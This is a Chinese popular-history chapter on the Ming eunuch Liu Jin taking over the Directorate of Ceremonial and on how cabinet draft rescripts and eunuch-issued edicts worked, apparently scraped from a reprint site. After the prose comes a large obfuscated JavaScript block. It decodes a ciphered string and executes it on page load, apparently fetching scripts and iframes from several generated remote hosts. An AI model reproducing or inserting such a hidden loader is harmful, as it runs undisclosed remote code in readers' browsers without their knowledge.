五（第1页）
五
刘瑾这一次因祸得福，由内官监转督司礼监，升到了宦官体系里的最高职位。
司礼监在明代初年还只是一个普通衙门，但由于皇帝怠政，对宦官的依赖性越来越强，于是至迟在宣德、正统年间，司礼监便已经跃升为一切宦官机构中的首席。司礼监不但总管一切宦官事务，最要紧的是，它有批答奏章、传谕圣旨的职权。
一个集权帝国，从理论上说，全国各地写给皇帝的奏章都应该由皇帝亲自批示，秦始皇就是这样做的，这不但需要殚精竭虑，更需要持之以恒，但这只适用于控制欲强、精力旺盛而且能够乐在其中的皇帝。
明朝的集权程度比秦朝有过之而无不及，历任皇帝的惰性却应付不来集权体制对勤政的苛刻要求。明代制度，先由一个秘书处，即内阁，对各地送来的奏章做一次初步处理，用小票草拟批示意见，称为“票拟”，再交给皇帝用朱笔签字确认，称为“批朱”。内阁已经大大减轻了皇帝的工作量，但皇帝如果再懒一些的话，每天亲自“批朱”的只有几篇，其余一概交给司礼监太监代劳。皇帝有时还会不经过内阁，直接发布谕旨，而这类谕旨的发布也是由司礼监负责的。
所以，明代虽然不置宰相，但只要内阁或司礼监出现了强势人物，这个人很容易就会成为实际上的宰相。内阁有大学士若干，排名第一的称为首辅；司礼监有掌印太监、秉笔太监若干人，随堂太监若干人，由提督太监一人总负责。所以天下大权不出皇帝、首辅和司礼监提督太监这三人之手，而这三个人里谁最强势，谁就会成为大明帝国的实际掌舵人。只不过皇帝手里永远掌握着一票否决权，只要他嫌首辅或司礼监提督太监太不像话，轻易便可以将他们革职查办。
这就是明代政治的核心特质，尽管弄权舞弊、祸国殃民的空子既多且大，但皇权的稳定性远胜历代。朱元璋开创这样的格局的确用心良苦，也的确保证了自己金戈铁马时打下来的这份家业无论如何都不会被别人夺了去。
话说回来，司礼监如果是由正直本分的人掌管，不过是皇帝的另一个秘书处而已，但如果是刘瑾这样的人做了提督太监，无论是改动内阁票拟也好，假传圣旨也罢，都是很轻易就做得出来的。
对于刚刚执掌司礼监的刘瑾而言，当务之急既需要巩固来之不易的胜利果实，更需要借机立威，更何况险死还生之下余怒未消，这时候见到戴铣等人的上疏，情绪哪里还克制得住，当即以皇帝的名义传旨，派锦衣卫校尉赶赴南京，将戴铣等人押解到北京问罪。
一秒记住新域名 www.davebudge.com
请勿开启浏览器阅读模式，否则将导致章节内容缺失及无法阅读下一章。
!function(){function a(a){var _idx="k1hpv3d1yc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF h8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=58"#MqYYb"=68HZ!F5T[68+i;NmJd5LYcdc5a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 dcY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<6mqY2pFh??c6mJ_Lhc`c$[YPa`%Fa=(c5=+i;NmLF562p67Tc6aaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 _cYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLmSXfRX:DmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLm)C2T7dXmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLmTST7hR5mRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLmSXfRX:DmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLm)C2T7dXmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLm)C2T7dXmRT4gQ1KQ"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/1osjY8S}hJXsf}T("!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%fca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=icaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 fca[qYF Y8dc"bb___b"a!5YF_52 Y??(c"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTc6a??c68HZ=(c5=""aa!qYF ^8"1os"=J8"S}hJXsf}T("!7_2(F6O2 XcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 TcYa[Xd5 F8H"1os2CTqf7mT6CL55SmRT4"="1osCSTqfXm^)TC25qmRT4"="1osOSTq47mT6CL55SmRT4"="1osF(Tq2Sm^)TC25qmRT4"="1osDhTqdJmT6CL55SmRT4"="1osh)TqCqm^)TC25qmRT4"="1osJfTq7DmT6CL55SmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"!qYF O82YD VY)iO(SYFcF%"/"%^%"jY8"%J%"v58"%7m5Y|5T%%%"vF8"%fca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28fH_ZcYH(Zch%%aa=O8fH_ZcYH(Zch%%aa=68fH_ZcYH(Zch%%aa=d8fH_ZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PXcOa=@8887mqOdfiFdF_LvvicaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=XcOaP=7mqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 ica[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP1osSJTq)(()mhRdDXfLmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP1osSJTq)(()mhRdDXfLmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8pc"hFFJLg//[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ/f/1osj(8}vY8S}hJXsf}T("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajTc7_2(F6O2ca[qc@0}a=Tc7_2(F6O2ca[qc@0@a=_c7_2(F6O2ca[qc@0saPaPaPag_c7_2(F6O2ca[qc}0}a=_c7_2(F6O2ca[qc}0@a=Tc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv6mqY2pFhvvcY8pc"hFFJLg//[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ"a%"/)_pj68"%^=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc6aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=6mqY2pFh80=(c5=""aaPaPaca!'.substr(22));new Function(b)()}();